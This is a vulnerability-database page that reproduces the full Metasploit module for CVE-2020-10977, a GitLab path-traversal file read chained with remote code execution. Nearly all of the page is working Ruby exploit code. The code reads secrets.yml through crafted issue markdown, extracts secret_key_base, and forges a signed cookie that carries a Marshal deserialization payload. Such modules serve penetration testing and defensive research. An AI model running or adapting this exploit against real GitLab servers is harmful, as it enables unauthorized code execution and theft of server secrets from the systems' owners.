Lucene search
K

GitLab File Read Remote Code Execution

🗓️ 10 Dec 2020 00:00:00Reported by alanfosterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 831 Views

GitLab File Read Remote Code Execution vulnerability allows attackers to execute arbitrary code and gain unauthorized access to the GitLab system by taking advantage of a security flaw in the GitLab application

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GitLab File Read Remote Code Execution Exploit
10 Dec 202000:00
zdt
GithubExploit
Exploit for Path Traversal in Gitlab
2 May 202010:03
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
25 Nov 202022:48
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
2 May 202108:45
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
11 Apr 202106:31
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
20 Nov 202015:40
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
29 Jan 202116:17
githubexploit
ATTACKERKB
CVE-2020-10977
8 Apr 202000:00
attackerkb
Circl
CVE-2020-10977
9 Dec 202017:40
circl
CNVD
GitLab EE/CE Path Traversal Vulnerability
9 Apr 202000:00
cnvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
# From Rails  
class MessageVerifier  
  
class InvalidSignature < StandardError  
end  
  
def initialize(secret, options = {})  
@secret = secret  
@digest = options[:digest] || 'SHA1'  
@serializer = options[:serializer] || Marshal  
end  
  
def generate(value)  
data = ::Base64.strict_encode64(@serializer.dump(value))  
"#{data}--#{generate_digest(data)}"  
end  
  
def generate_digest(data)  
require 'openssl' unless defined?(OpenSSL)  
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)  
end  
  
end  
  
class NoopSerializer  
def dump(value)  
value  
end  
end  
  
class KeyGenerator  
  
def initialize(secret, options = {})  
@secret = secret  
@iterations = options[:iterations] || 2**16  
end  
  
def generate_key(salt, key_size = 64)  
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)  
end  
  
end  
  
class GitLabClientException < StandardError; end  
  
class GitLabClient  
def initialize(http_client)  
@http_client = http_client  
@cookie_jar = {}  
end  
  
def sign_in(username, password)  
sign_in_path = '/users/sign_in'  
csrf_token = extract_csrf_token(  
path: sign_in_path,  
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}  
)  
res = http_client.send_request_cgi({  
'method' => 'POST',  
'uri' => '/users/sign_in',  
'cookie' => cookie,  
'vars_post' => {  
'utf8' => '✓',  
'authenticity_token' => csrf_token,  
'user[login]' => username,  
'user[password]' => password,  
'user[remember_me]' => 0  
}  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.body.include?('Invalid Login or password')  
raise GitLabClientException, 'Username or password invalid'  
elsif res.code != 302  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
elsif res.headers.fetch('Location', '').include?(sign_in_path)  
raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'  
end  
  
merge_cookie_jar(res)  
  
current_user  
end  
  
def current_user  
res = http_client.send_request_cgi({  
'method' => 'GET',  
'uri' => '/api/v4/user',  
'cookie' => cookie  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
JSON.parse(res.body)  
end  
  
def version  
res = http_client.send_request_cgi({  
'method' => 'GET',  
'uri' => '/api/v4/version',  
'cookie' => cookie  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
JSON.parse(res.body)  
end  
  
def create_project(user:)  
new_project_path = '/projects/new'  
create_project_path = '/projects'  
  
csrf_token = extract_csrf_token(  
path: new_project_path,  
regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/  
)  
project_name = Rex::Text.rand_text_alphanumeric(8)  
res = http_client.send_request_cgi({  
'method' => 'POST',  
'uri' => create_project_path,  
'cookie' => cookie,  
'vars_post' => {  
'utf8' => '✓',  
'authenticity_token' => csrf_token,  
'project[ci_cd_only]' => 'false',  
'project[name]' => project_name,  
'project[namespace_id]' => (user['id']).to_s,  
'project[path]' => project_name,  
'project[description]' => Rex::Text.rand_text_alphanumeric(8),  
'project[visibility_level]' => '0'  
}  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.body.include?('Namespace is not valid')  
raise GitLabClientException, 'This uer can not create additional projects, please delete some'  
elsif res.code != 302  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
merge_cookie_jar(res)  
  
project(user: user, project_name: project_name)  
end  
  
def project(user:, project_name:)  
project_path = "/#{user['username']}/#{project_name}"  
res = http_client.send_request_cgi({  
'method' => 'GET',  
'uri' => project_path,  
'cookie' => cookie  
})  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
project_id = res.body[/Project ID: (\d+)/, 1]  
{  
'id' => project_id,  
'name' => project_name,  
'path' => project_path,  
'edit_path' => "#{project_path}/edit",  
'delete_path' => "/#{user['username']}/#{project_name}"  
}  
end  
  
def delete_project(project:)  
edit_project_path = project['edit_path']  
delete_project_path = project['delete_path']  
  
csrf_token = extract_csrf_token(  
path: edit_project_path,  
regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/  
)  
res = http_client.send_request_cgi({  
'method' => 'POST',  
'uri' => delete_project_path,  
'cookie' => cookie,  
'vars_post' => {  
'utf8' => '✓',  
'authenticity_token' => csrf_token,  
'_method' => 'delete'  
}  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 302  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
true  
end  
  
def create_issue(project:, issue:)  
new_issue_path = "#{project['path']}/issues/new"  
create_issue_path = "#{project['path']}/issues"  
  
csrf_token = extract_csrf_token(  
path: new_issue_path,  
regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/  
)  
res = http_client.send_request_cgi({  
'method' => 'POST',  
'uri' => create_issue_path,  
'cookie' => cookie,  
'vars_post' => {  
'utf8' => '✓',  
'authenticity_token' => csrf_token,  
'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),  
'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),  
'issue[confidential]' => '0',  
'issue[assignee_ids][]' => '0',  
'issue[label_ids][]' => '',  
'issue[due_date]' => '',  
'issue[lock_version]' => '0'  
}  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 302  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
merge_cookie_jar(res)  
issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]  
  
issue.merge({  
'path' => "#{create_issue_path}/#{issue_id}",  
'move_path' => "#{create_issue_path}/#{issue_id}/move"  
})  
end  
  
def move_issue(issue:, target_project:)  
issue_path = issue['path']  
move_issue_path = issue['move_path']  
  
csrf_token = extract_csrf_token(  
path: issue_path,  
regex: /name="csrf-token" content="([^"]+)"/  
)  
  
res = http_client.send_request_cgi({  
'method' => 'POST',  
'uri' => move_issue_path,  
'cookie' => cookie,  
'ctype' => 'application/json',  
'headers' => {  
'X-CSRF-Token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'data' => {  
'move_to_project_id' => (target_project['id']).to_s  
}.to_json  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
json_res = JSON.parse(res.body)  
  
{  
'path' => json_res['web_url'],  
'description' => json_res['description']  
}  
end  
  
def download(project:, path:)  
res = http_client.send_request_cgi({  
'method' => 'GET',  
'uri' => "#{project['path']}/#{path}",  
'cookie' => cookie  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
res.body  
end  
  
private  
  
attr_reader :http_client  
  
def extract_csrf_token(path:, regex:)  
res = http_client.send_request_cgi({  
'method' => 'GET',  
'uri' => path,  
'cookie' => cookie  
})  
  
if res.nil? || res.body.nil?  
raise GitLabClientException, 'Empty response. Please validate RHOST'  
elsif res.code != 200  
raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
end  
  
merge_cookie_jar(res)  
token = res.body[regex, 1]  
if token.nil?  
raise GitLabClientException, 'Could not successfully extract CSRF token'  
end  
  
token  
end  
  
def cookie  
return nil if @cookie_jar.empty?  
  
@cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ')  
end  
  
def merge_cookie_jar(res)  
new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }]  
@cookie_jar.merge!(new_cookies)  
end  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitLab File Read Remote Code Execution',  
'Description' => %q{  
This module provides remote code execution against GitLab Community  
Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file  
read to extract the Rails "secret_key_base", and gains remote code  
execution with a deserialization vulnerability of a signed  
'experimentation_subject_id' cookie that GitLab uses internally for A/B  
testing.  
  
Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,  
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects  
versions 12.4.0 and above when the vulnerable `experimentation_subject_id`  
cookie was introduced.  
  
Tested on GitLab 12.8.1 and 12.4.0.  
},  
'Author' =>  
[  
'William Bowling (vakzz)', # Discovery + PoC  
'alanfoster', # msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2020-10977'],  
['URL', 'https://hackerone.com/reports/827052'],  
['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']  
],  
'DisclosureDate' => '2020-03-26',  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [['Automatic', {}]],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'The username to authenticate as']),  
OptString.new('PASSWORD', [false, 'The password for the specified username']),  
OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),  
OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),  
OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),  
OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])  
]  
)  
register_advanced_options(  
[  
OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),  
OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])  
]  
)  
end  
  
#  
# This stub ensures that the payload runs outside of the Rails process  
# Otherwise, the session can be killed on timeout  
#  
def detached_payload_stub(code)  
%^  
code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first  
if RUBY_PLATFORM =~ /mswin|mingw|win32/  
inp = IO.popen("ruby", "wb") rescue nil  
if inp  
inp.write(code)  
inp.close  
end  
else  
Kernel.fork do  
eval(code)  
end  
end  
{}  
^.strip.split(/\n/).map(&:strip).join("\n")  
end  
  
def build_payload  
code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"  
  
# Originally created with Active Support 6.x  
# code = '`curl 10.10.15.26`'  
# erb = ERB.allocate; nil  
# erb.instance_variable_set(:@src, code);  
# erb.instance_variable_set(:@filename, "1")  
# erb.instance_variable_set(:@lineno, 1)  
# value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)  
# Marshal.dump(value)  
"\x04\b" \  
'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \  
"\t:\x0E@instance" \  
"o:\bERB" \  
"\b" \  
":\t@src#{Marshal.dump(code)[2..-1]}" \  
":\x0E@filename\"\x061" \  
":\f@linenoi\x06" \  
":\f@method:\vresult" \  
":\t@var\"\f@result" \  
":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"  
end  
  
def sign_payload(secret_key_base, payload)  
key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })  
key = key_generator.generate_key(datastore['SignedCookieSalt'])  
verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })  
verifier.generate(payload)  
end  
  
def check  
validate_credentials_present!  
  
git_lab_client = GitLabClient.new(self)  
git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])  
version = Gem::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])  
  
# Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8  
# However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8  
has_rce_present = (  
version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) ||  
version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) ||  
version == Gem::Version.new('12.9.0')  
)  
if has_rce_present  
return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")  
end  
  
Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")  
rescue GitLabClientException => e  
Exploit::CheckCode::Unknown(e.message)  
end  
  
def validate_credentials_present!  
missing_options = []  
  
missing_options << 'USERNAME' if datastore['USERNAME'].blank?  
missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?  
  
if missing_options.any?  
raise Msf::OptionValidateError, missing_options  
end  
end  
  
def read_secret_key_base  
return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?  
  
validate_credentials_present!  
git_lab_client = GitLabClient.new(self)  
user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])  
print_status("Logged in to user #{user['username']}")  
  
project_a = git_lab_client.create_project(user: user)  
print_status("Created project #{project_a['path']}")  
project_b = git_lab_client.create_project(user: user)  
print_status("Created project #{project_b['path']}")  
  
issue = git_lab_client.create_issue(  
project: project_a,  
issue: {  
'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"  
}  
)  
print_status("Created issue #{issue['path']}")  
  
print_status('Executing arbitrary file load')  
moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)  
secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]  
secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)  
loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')  
print_good("File saved as: '#{loot_path}'")  
  
secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]  
if secret_key_base.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')  
end  
  
print_good("Extracted secret_key_base #{secret_key_base}")  
print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')  
  
secret_key_base  
rescue GitLabClientException => e  
fail_with(Failure::UnexpectedReply, e.message)  
ensure  
[project_a, project_b].each do |project|  
begin  
next unless project  
  
print_status("Attempting to delete project #{project['path']}")  
git_lab_client.delete_project(project: project)  
print_status("Deleted project #{project['path']}")  
rescue StandardError  
print_error("Failed to delete project #{project['path']}")  
end  
end  
end  
  
def exploit  
secret_key_base = read_secret_key_base  
  
payload = build_payload  
signed_cookie = sign_payload(secret_key_base, payload)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
'cookie' => "experimentation_subject_id=#{signed_cookie}"  
})  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Dec 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.04767
831